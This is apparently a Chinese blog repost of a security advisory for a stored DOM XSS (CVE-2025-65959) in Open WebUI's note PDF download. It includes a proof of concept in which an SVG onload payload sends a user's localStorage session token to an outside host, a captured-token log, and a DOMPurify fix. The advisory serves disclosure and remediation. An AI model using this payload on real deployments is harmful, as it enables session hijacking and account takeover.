Open WebUI 存储型DOM XSS漏洞分析:通过笔记“下载PDF”功能窃取会话令牌

本文详细分析了Open WebUI(版本≤0.6.36)中的一个高危存储型跨站脚本漏洞(CVE-2025-65959)。攻击者可通过导入包含恶意SVG标签的Markdown文件,在受害者下载笔记为PDF时执行任意JavaScript代码,窃取会话令牌。文章提供了漏洞原理、攻击复现步骤及修复方案。

Open WebUI Vulnerable to Stored DOM XSS via Note ‘Download PDF’ (CVE-2025-65959)

漏洞摘要

在Open WebUI的笔记PDF下载功能中发现了一个存储型跨站脚本(XSS)漏洞。攻击者可以将一个包含恶意SVG标签的Markdown文件导入到“笔记”中,从而在受害者下载该笔记为PDF时,执行任意的JavaScript代码并窃取其会话令牌。此漏洞可以被任何经过身份验证的用户利用。未经身份验证的外部攻击者也可以通过分享特制的Markdown文件,从用户(包括管理员和普通用户)那里窃取会话令牌。

  • 受影响版本:<= 0.6.36
  • 已修复版本:0.6.37
  • CVSS 3.1 评分:8.7(高危)

漏洞详情

漏洞位置

  • 文件src/lib/components/notes/utils.ts
  • 函数downloadPdf()
  • 漏洞代码(第35行)
    1
    2
    3
    4
    
    const contentNode = document.createElement('div');
    contentNode.innerHTML = html; // 直接赋值,未进行DOMPurify净化
    node.appendChild(contentNode);
    document.body.appendChild(node);
    

根本原因

  1. TipTap编辑器配置不完整:Open-WebUI仅使用了TipTap StarterKit,未对<svg><script>等危险标签进行模式(Schema)定义。未知的HTML标签会被存储为原始HTML。
  2. PDF生成过程中缺少净化(Sanitization)note.data.content.html 被直接赋值给 innerHTML,没有使用DOMPurify或其他方式进行净化。存储的恶意HTML会被原样执行。

概念验证 (PoC)

环境准备

  • Open-WebUI 最新版本 (v0.6.36)
  • 管理员账户

攻击步骤

第一步:创建恶意Markdown文件

  • 文件名:token_stealer.md
  • 内容:
    1
    
    <svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg>
    

第二步:导入到笔记

  1. 登录Open-WebUI。
  2. 点击左侧菜单中的“笔记”。
  3. 将Markdown文件拖放进去,笔记会自动创建。

第三步:触发PDF下载

  1. 访问笔记菜单 (/notes)。
  2. 点击已上传笔记右侧的
  3. 选择“下载” → “PDF文档 (.pdf)”。
  4. JavaScript代码随即执行。

第四步:验证令牌窃取 攻击者的服务器日志会收到类似如下请求:

1
2
3
4
5
6
POST /steal HTTP/1.1
Host: redacted
Content-Type: text/plain;charset=UTF-8
Content-Length: 145

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw

简易PoC (alert弹窗)

  • 文件名:simple_poc.md
  • 内容:
    1
    
    <svg onload="alert(1)"></svg>
    

影响范围

  • CVSS 3.1 向量CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
  • 漏洞类型
    • CWE-79:跨站脚本 (XSS)
    • CWE-116:不正确的输出编码或转义
  • 受影响的用户:所有Open-WebUI用户,尤其是使用笔记功能的用户。

攻击场景

  1. 攻击者在社区分享恶意笔记文件(.md文件)。
  2. 受害者上传该共享的笔记文件(.md文件)。
  3. 受害者将该笔记下载为PDF。
  4. XSS漏洞触发。
  5. 受害者的会话令牌(localStorage.token)被窃取。

修复建议

推荐在 src/lib/components/notes/utils.ts 文件的第35行处,使用DOMPurify对HTML进行净化处理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// src/lib/components/notes/utils.ts:35
import DOMPurify from 'dompurify';

const contentNode = document.createElement('div');

// 使用DOMPurify进行净化
contentNode.innerHTML = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: [
        'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead',
        'tbody', 'tr', 'td', 'th'
    ],
    ALLOWED_ATTR: ['href', 'class', 'target'],
    FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'],
    FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'],
    ALLOW_DATA_ATTR: false
});

node.appendChild(contentNode);

参考链接

  • OWASP XSS 防护备忘录:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • DOMPurify 项目地址:https://github.com/cure53/DOMPurify
  • GitHub安全公告:GHSA-8wvc-869r-xfqf
  • NVD漏洞详情:https://nvd.nist.gov/vuln/detail/CVE-2025-65959
  • 修复提交记录:open-webui/open-webui@03cc6ce

漏洞信息时间线

  • 报告日期:2025年12月4日
  • 发布至GitHub Advisory Database:2025年12月4日
  • 审核日期:2025年12月4日
  • 最后更新日期:2025年12月5日

致谢

  • 漏洞报告者:pyozzi-toss, L2VE
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计